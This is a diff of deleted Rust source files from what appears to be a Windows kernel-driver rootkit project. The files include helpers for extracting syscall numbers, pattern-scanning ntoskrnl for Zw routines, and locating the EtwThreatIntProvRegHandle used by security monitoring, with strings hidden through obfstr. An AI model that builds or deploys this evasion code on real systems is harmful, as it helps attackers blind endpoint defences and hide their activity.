let mut list_entry = unsafe { (*func).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
let mut module_count = 0;
let start_entry = list_entry;
while !list_entry.is_null() && list_entry != func {
module_count += 1;
list_entry = unsafe { (*list_entry).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY };
}
Ok((start_entry, module_count))
}
/// Initializes the `OBJECT_ATTRIBUTES` structure.
///
/// # Arguments
///
/// * `object_name` - An optional pointer to a `UNICODE_STRING` representing the name of the object.
/// If `None`, the object name is set to `null_mut()`.
/// * `attributes` - A `u32` representing the attributes of the object (e.g., `OBJ_CASE_INSENSITIVE`, `OBJ_KERNEL_HANDLE`).
/// * `root_directory` - An optional pointer to a root directory. If the object resides in a directory,
/// this pointer represents the root directory. If `None`, it is set to `null_mut()`.
/// * `security_descriptor` - An optional pointer to a security descriptor that defines
/// access control. If `None`, it is set to `null_mut()`.
/// * `security_quality_of_service` - An optional pointer to a security quality of service structure.
/// If `None`, it is set to `null_mut()`.
///
/// # Returns
///
/// * Returns an `OBJECT_ATTRIBUTES` structure initialized with the provided parameters.
/// If optional arguments are not provided, their corresponding fields are set to `null_mut()`.
#[allow(non_snake_case)]
pub fn InitializeObjectAttributes(
object_name: Option<*mut UNICODE_STRING>,
attributes: u32,
root_directory: Option<*mut c_void>,
security_descriptor: Option<*mut c_void>,
security_quality_of_service: Option<*mut c_void>
) -> OBJECT_ATTRIBUTES {
OBJECT_ATTRIBUTES {
Length: size_of::<OBJECT_ATTRIBUTES>() as u32,
RootDirectory: root_directory.unwrap_or(null_mut()),
ObjectName: object_name.unwrap_or(null_mut()),
Attributes: attributes,
SecurityDescriptor: security_descriptor.unwrap_or(null_mut()),
SecurityQualityOfService: security_quality_of_service.unwrap_or(null_mut())
}
}

View File

@@ -1,218 +0,0 @@
use {
obfstr::obfstr,
crate::error::ShadowError,
wdk_sys::{
ntddk::*,
*,
_SECTION_INHERIT::ViewUnmap
},
core::{
ffi::CStr,
ptr::{null_mut, read},
slice::from_raw_parts,
ffi::c_void
},
super::{
address::get_module_base_address,
InitializeObjectAttributes,
},
winapi::um::winnt::{
IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
}
};
/// Scans memory for a specific pattern of bytes in a specific section.
///
/// # Arguments
///
/// * `function_address` - The base address (in `usize` format) from which the scan should start.
/// * `pattern` - A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
/// * `offset` - Offset from the pattern position where the i32 value starts.
/// * `final_offset` - The final offset applied to the resulting address.
/// * `size` - The size of the memory to scan.
///
/// # Returns
///
/// * `Ok(*mut u8)` - The computed address after applying offsets and the found i32.
/// * `Err(ShadowError)` - Error if pattern not found or conversion fails.
pub unsafe fn scan_for_pattern(
function_address: *mut c_void,
pattern: &[u8],
offset: usize,
final_offset: isize,
size: usize,
) -> Result<*mut u8, ShadowError> {
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, size);
if let Some(x) = function_bytes.windows(pattern.len()).position(|window| window == pattern) {
let position = x + offset;
// Converting the slice starting at the position to i32 (little-endian)
let offset_bytes = &function_bytes[position..position + 4];
let offset = i32::from_le_bytes(offset_bytes.try_into().map_err(|_| ShadowError::PatternNotFound)?);
// Calculating the final address
let address = function_address.cast::<u8>().add(x);
let next_address = address.offset(final_offset);
// Returning the final address adjusted by the found offset
Ok(next_address.offset(offset as isize))
} else {
Err(ShadowError::PatternNotFound)
}
}
/// Retrieves the syscall index for a given function name.
///
/// This function loads the `ntdll.dll` section and maps its export table to find the specified function.
/// Once the function is found, the syscall index (SSN) is extracted from the function's machine code.
///
/// # Arguments
///
/// * `function_name` - A string slice representing the name of the function for which to retrieve the syscall index.
///
/// # Returns
///
/// * `Ok(u16)` - Returns the syscall index (`u16`) if the function is found.
/// * `Err(ShadowError)` - Returns an error if the function is not found or if a system API call fails.
pub unsafe fn get_syscall_index(function_name: &str) -> Result<u16, ShadowError> {
let mut section_handle = null_mut();
let dll = crate::utils::uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
if !NT_SUCCESS(status) {
return Err(ShadowError::ApiCallFailed("ZwOpenSection", status))
}
// Map ntdll.dll to memory and retrieve the address
let mut large: LARGE_INTEGER = core::mem::zeroed();
let mut ntdll_addr = null_mut();
let mut view_size = 0;
status = ZwMapViewOfSection(
section_handle,
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
&mut ntdll_addr,
0,
0,
&mut large,
&mut view_size,
ViewUnmap,
0,
PAGE_READONLY,
);
if !NT_SUCCESS(status) {
ZwClose(section_handle);
return Err(ShadowError::ApiCallFailed("ZwOpenZwMapViewOfSectionSection", status));
}
// Locate export directory, names, and functions for syscall extraction
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
let ntdll_addr = ntdll_addr as usize;
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
// Search for the function by name and extract the syscall number (SSN)
for i in 0..(*export_directory).NumberOfNames as isize {
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8)
.to_str()
.map_err(|_| ShadowError::StringConversionFailed(names[i as usize] as usize))?;
let ordinal = ordinals[i as usize] as usize;
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
if name == function_name && read(address) == 0x4C
&& read(address.add(1)) == 0x8B
&& read(address.add(2)) == 0xD1
&& read(address.add(3)) == 0xB8
&& read(address.add(6)) == 0x00
&& read(address.add(7)) == 0x00
{
let high = read(address.add(5)) as u16;
let low = read(address.add(4)) as u16;
let ssn = (high << 8) | low;
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
return Ok(ssn);
}
}
// Cleanup
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
ZwClose(section_handle);
Err(ShadowError::FunctionExecutionFailed("get_syscall_index", line!()))
}
/// Finds the address of a specified Zw function by scanning the system kernel's `.text` section.
///
/// # Arguments
///
/// * `name` - The name of the Zw function to find.
///
/// # Returns
///
/// * `Ok(usize)` - Returns the address of the Zw function (`usize`) if found.
/// * `Err(ShadowError)` - Returns an error if the function is not found or a system error occurs.
/// It should be used with caution in kernel mode to prevent system instability.
pub unsafe fn find_zw_function(name: &str) -> Result<usize, ShadowError> {
let ssn = get_syscall_index(name)?;
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
let ssn_bytes = ssn.to_le_bytes();
ZW_PATTERN[21] = ssn_bytes[0];
ZW_PATTERN[22] = ssn_bytes[1];
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
let section_header = (nt_header as usize + size_of::<IMAGE_NT_HEADERS64>()) as *const IMAGE_SECTION_HEADER;
// Scan the `.text` section for the matching pattern
for i in 0..(*nt_header).FileHeader.NumberOfSections as usize {
let section = (*section_header.add(i)).Name;
let name = core::str::from_utf8(&section).unwrap().trim_matches('\0');
if name == obfstr!(".text") {
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
let text_end = text_start + *(*section_header.add(i)).Misc.VirtualSize() as usize;
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
// Search for the Zw function by matching the pattern
if let Some(offset) = data.windows(ZW_PATTERN.len())
.position(|window| {
window.iter().zip(&ZW_PATTERN[..]).all(|(d, p)| *p == 0xCC || *d == *p)
}) {
return Ok(text_start + offset);
}
}
}
Err(ShadowError::FunctionExecutionFailed("find_zw_function", line!()))
}
/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
pub const ETWTI_PATTERN: [u8; 5] = [
0x33, 0xD2, // 33d2 xor edx,edx
0x48, 0x8B, 0x0D // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)]
];
/// The `ZW_PATTERN` represents a sequence of machine instructions used for
/// identifying system service routines within the Windows kernel.
pub static mut ZW_PATTERN: [u8; 30] = [
0x48, 0x8B, 0xC4, // mov rax, rsp
0xFA, // cli
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
0x50, // push rax
0x9C, // pushfq
0x6A, 0x10, // push 10h
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
0x50, // push rax
0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
0xE9, 0xCC, 0xCC, 0xCC, 0xCC // jmp KiServiceInternal
];

View File

@@ -1,63 +0,0 @@
use core::ffi::c_void;
use wdk_sys::{ntddk::{ExAllocatePool2, ExFreePool}, POOL_FLAGS};
/// A wrapper around memory allocated from the pool in the Windows kernel.
///
/// This struct provides a safe abstraction over memory allocated from the kernel pool.
/// It ensures that the allocated memory is properly freed when the `PoolMemory` goes out
/// of scope, by calling `ExFreePool` in its `Drop` implementation.
pub struct PoolMemory {
/// A raw pointer to the allocated pool memory.
pub ptr: *mut c_void,
}
impl PoolMemory {
/// Allocates memory from the Windows kernel pool.
///
/// This function uses `ExAllocatePool2` to allocate a block of memory from the Windows kernel
/// pool. It returns `None` if the allocation fails, or `Some(PoolMemory)` if successful.
///
/// # Arguments
///
/// * `flag` - Flags controlling the behavior of the memory allocation, of type `POOL_FLAGS`. This determines
/// characteristics such as whether the memory is paged or non-paged.
/// * `number_of_bytes` - The size of the memory block to allocate, in bytes.
/// * `tag` - A tag (typically a 4-character identifier) used to identify the allocation in kernel memory tracking.
///
/// # Returns
///
/// * `Some` - If the memory allocation is successful, an instance of `PoolMemory` is returned to manage the memory.
/// * `None` - If the memory allocation fails, indicating insufficient memory or other issues.
///
/// # Examples
/// ```rust
/// let pool_mem = PoolMemory::new(POOL_FLAG_NON_PAGED, 1024, u32::from_be_bytes(*b"tag"));
/// if let Some(mem) = pool_mem {
/// // Use allocated memory...
/// } else {
/// println!("Memory allocation failed");
/// }
/// ```
#[inline]
pub fn new(flag: POOL_FLAGS, number_of_bytes: u64, tag: u32) -> Option<PoolMemory> {
let ptr = unsafe { ExAllocatePool2(flag, number_of_bytes, tag) };
if ptr.is_null() {
None
} else {
Some(Self { ptr })
}
}
}
impl Drop for PoolMemory {
/// Frees the allocated pool memory when the `PoolMemory` instance is dropped.
///
/// This method is automatically called when the `PoolMemory` goes out of scope. It ensures that
/// the memory allocated with `ExAllocatePool2` is properly freed using `ExFreePool`, unless
/// the pointer is null.
fn drop(&mut self) {
if !self.ptr.is_null() {
unsafe { ExFreePool(self.ptr) };
}
}
}

View File

@@ -1,75 +0,0 @@
use wdk_sys::{ntddk::{KeStackAttachProcess, KeUnstackDetachProcess}, KAPC_STATE, PRKPROCESS};
/// A wrapper for managing the attachment to a process context in the Windows kernel.
///
/// This struct provides a safe abstraction for attaching to the context of a target process using
/// `KeStackAttachProcess` and ensures that the process is properly detached when no longer needed
/// (either manually or automatically when it goes out of scope).
///
/// When a `ProcessAttach` instance is dropped, it will automatically detach from the process
/// if still attached.
pub struct ProcessAttach {
/// The APC (Asynchronous Procedure Call) state used to manage process attachment.
apc_state: KAPC_STATE,
/// Indicates whether the process is currently attached.
attached: bool,
}
impl ProcessAttach {
/// Attaches to the context of a target process.
///
/// This function attaches the current thread to the address space of the specified
/// process using `KeStackAttachProcess`. This allows the current thread to operate within
/// the target process context.
///
/// # Arguments
///
/// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to.
///
/// # Returns
///
/// * A new `ProcessAttach` instance representing the attached process context.
#[inline]
pub fn new(target_process: PRKPROCESS) -> Self {
let mut apc_state: KAPC_STATE = unsafe { core::mem::zeroed() };
unsafe {
KeStackAttachProcess(target_process, &mut apc_state);
}
Self {
apc_state,
attached: true,
}
}
/// Manually detaches from the process context.
///
/// This method can be called to explicitly detach the current thread from the target process's
/// address space, if it was previously attached.
#[inline]
pub fn detach(&mut self) {
if self.attached {
unsafe {
KeUnstackDetachProcess(&mut self.apc_state);
}
self.attached = false;
}
}
}
impl Drop for ProcessAttach {
/// Automatically detaches from the process context when the `ProcessAttach` instance is dropped.
///
/// This method ensures that the current thread is detached from the target process's address space
/// when the `ProcessAttach` object goes out of scope. If the process is still attached when `drop`
/// is called, it will be safely detached using `KeUnstackDetachProcess`.
fn drop(&mut self) {
// If it is still attached, it unattaches when it leaves the scope.
if self.attached {
unsafe {
KeUnstackDetachProcess(&mut self.apc_state);
}
}
}
}

View File

@@ -1,64 +0,0 @@
use alloc::vec::Vec;
use wdk_sys::UNICODE_STRING;
/// A wrapper around a `Vec<u16>` representing a Unicode string.
///
/// This struct encapsulates a Unicode string, stored as a `Vec<u16>`, that is compatible
/// with the Windows kernel's `UNICODE_STRING` structure. It ensures that the string is properly
/// null-terminated and provides a safe conversion method to a `UNICODE_STRING`.
#[derive(Default)]
pub struct OwnedUnicodeString {
/// The internal buffer holding the wide (UTF-16) string, including the null terminator.
buffer: Vec<u16>,
/// A marker to indicate that this struct cannot be moved once pinned.
/// This ensures that the memory address of the buffer remains valid for the lifetime of the
/// `UNICODE_STRING`.
_phantompinned: core::marker::PhantomPinned,
}
impl OwnedUnicodeString {
/// Converts the `OwnedUnicodeString` into a `UNICODE_STRING` that can be used in kernel APIs.
///
/// This function creates a `UNICODE_STRING` structure from the internal buffer of the `OwnedUnicodeString`.
/// It correctly calculates the length and maximum length fields of the `UNICODE_STRING`, which represent
/// the size of the string (in bytes) excluding and including the null terminator, respectively.
///
/// # Returns
///
/// * A `UNICODE_STRING` pointing to the wide string stored in `buffer`.
pub fn to_unicode(&self) -> UNICODE_STRING {
// The length is the size of the string in bytes, excluding the null terminator.
// MaximumLength includes the null terminator.
UNICODE_STRING {
Length: ((self.buffer.len() * size_of::<u16>()) - 2) as u16,
MaximumLength: (self.buffer.len() * size_of::<u16>()) as u16,
Buffer: self.buffer.as_ptr() as *mut u16,
}
}
}
/// Converts a Rust `&str` to an `OwnedUnicodeString`.
///
/// This function takes a Rust string slice, converts it to a wide string (UTF-16), and ensures it
/// is properly null-terminated. The resulting wide string is stored in an `OwnedUnicodeString`,
/// which can later be converted to a `UNICODE_STRING` for use in kernel APIs.
///
/// # Arguments
///
/// * `str` - A reference to the Rust string slice to be converted.
///
/// # Returns
///
/// * `OwnedUnicodeString` - A structure containing the wide (UTF-16) representation of the input string.
pub fn str_to_unicode(str: &str) -> OwnedUnicodeString {
// Convert the rust string to a wide string
let mut wide_string: Vec<u16> = str.encode_utf16().collect();
// Null terminate the string
wide_string.push(0);
OwnedUnicodeString {
buffer: wide_string,
_phantompinned: core::marker::PhantomPinned,
}
}